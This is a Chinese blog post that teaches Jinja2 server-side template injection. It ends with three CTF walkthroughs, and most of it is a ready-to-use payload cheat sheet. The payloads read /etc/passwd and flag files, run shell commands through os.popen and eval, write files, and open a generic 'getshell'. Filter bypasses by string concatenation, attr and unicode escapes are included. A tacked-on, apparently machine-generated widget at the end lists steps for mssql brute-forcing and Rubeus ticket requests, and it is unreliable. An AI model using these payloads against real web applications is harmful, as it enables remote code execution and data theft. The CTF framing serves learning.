SSTI学习(1)--python中的SSTI--jinja

1 篇文章 0 订阅

关于SSTI

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。

SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。

SSTI当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

引发SSTI原因

引发SSTI漏洞的原因是因为render_template渲染函数的问题。渲染函数在渲染的时候,往往对用户输入的变量不做渲染。也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。

SSTI类型--Python中的SSTI--jinja

1、Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言。 它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全;

欢迎来到 Jinja2 — Jinja2 2.7 documentation

2、Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。

3、Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。

SSTI类型判断

关于SSTI类型的判断,其实一张图就能够完全说明

根据他的返回值来判断

 SSTI常用类

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

 常用playload

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

 这个是我目前见过最完整的playload(不管什么题构造的playload都是这种)

{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}

 关于拼接绕过

我们假设当class被过滤了时,我们可以使用拼接绕过,__class__  ————>  ['__cla'+'ss__']

中间用+号连接

# 假设关键字class被过滤
{{ ().__class__ }}
 
# +号绕过,payload:
{{ ()['__cl'+'ass__'] }}

 [HNCTF 2022 WEEK2]ez_SSTI

先打开环境,看了WP才知道参数是name(他们也是忙猜的。。。)

输入

?name={{7*7}}

根据上边图判断出模板类型是jinja2,其实题目也给了提示

接着我们找到了class 'os._wrap_close类,定位他的位置是137

输入

?mame={{""._class_._bases__[0].__subclasses__()[137]}}

 确定一下

因为 os._wrap_close 类里有popen命令,我们可以直接使用popen命令执行,输入

?name={{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('ls').read()}}

 看到了flag

 我们就直接读取flag,输入

?name={{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('tac flag').read()}}

 得到flag

 [NCTF 2018]flask真香

打开环境,翻页发现,题目已经给了提示是SSTI模板注入的jinja2类型,那就直接不用判断了

输入

{{''.__class__}}

没有回显

慢慢试错后发现过滤了class、getattr、builtins、import、os

使用字符串拼接绕过,输入

{{()['__cla'+'ss__'].__bases__[0]['__subcl'+'asses__']()}}

 接着找到了<class 'os._wrap_close'>,他的位置是在240

 

 输入

{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[240].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

看到了flag

 直接读取

{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[240].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('cat /Th1s_is__F1114g').read()")}}

 得到flag

[安洵杯 2020]Normal SSTI 

关于这一题过滤了巨多的东西,看了很多WP,但还是不能够完全的理解,。。。。注入在我这儿永远是个坑。。。

首先呢,就是{{}}被过滤了,这儿我们可以使用{%%}进行绕过

然后呢就是.[ ]被过滤了,所以,我们可以用|attr(“__class__”)进行绕过,这儿  

|attr(“__class__”)就等于.__class__,并不是只有这一个,关于类似于要使用xxx.os(‘xxx’)类似的方法,都可以使用xxx|attr(“os”)(‘xxx’)来进行绕过

下划线被过滤了,这儿我们就需要使用unicode编码进行绕过

这一题我们需要使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

打开环境,给了提示,需要我们在url后面接text/url=

test?url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
#这儿是进行过了unicode编码的其实他就等于{{""._class_}}

接着我们继续寻找OS模块

url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%}
这儿的意思就是{{lipsum.__globals__}}

 接下来我们引用popen来查看目录

url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u006c\u0073\u0020\u002f%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}


这儿等于{{lipsum.__globals__.get("os").popen("ls").read()}}

 看到flag了呗,接下来还不简单

url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}

这儿等于{{config.__class__.__init__.__globals__.get(“os”).popen('cat flag').read()}}

 得到flag

  • 19
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
为了通关ssti-lab靶场,你可以按照以下步骤进行操作: 1. 首先,从上一个数据库找到的password字典获取到mssql的账户密码。 2. 使用这个账户密码进行mssql的暴力破解,以获得访问权限。 3. 一旦你获得了访问权限,你可以使用SSTI有效载荷发生器来执行特定类型的Java SSTI攻击。该有效载荷发生器可以生成针对Java SSTI的payload,启发于${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)...}。 4. 另外,你还可以使用Rubeus工具来申请访问自身的可转发服务票据。通过运行命令".\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:bd2cf5e6a8f89ed5b02d3d7fcf5e88c7 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt",你可以生成一个可转发的服务票据文件,以便在后续攻击使用。 通过以上步骤,你可以成功通关ssti-lab靶场。请注意,在进行任何攻击前,确保你有合法的授权和使用权,并且遵守法律法规。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [WP-春秋云镜-Brute4Road靶场通关完全指南](https://blog.csdn.net/qq_45234543/article/details/128482984)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [ssti-payload:SSTI有效载荷生成器](https://download.csdn.net/download/weixin_42128558/15099898)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值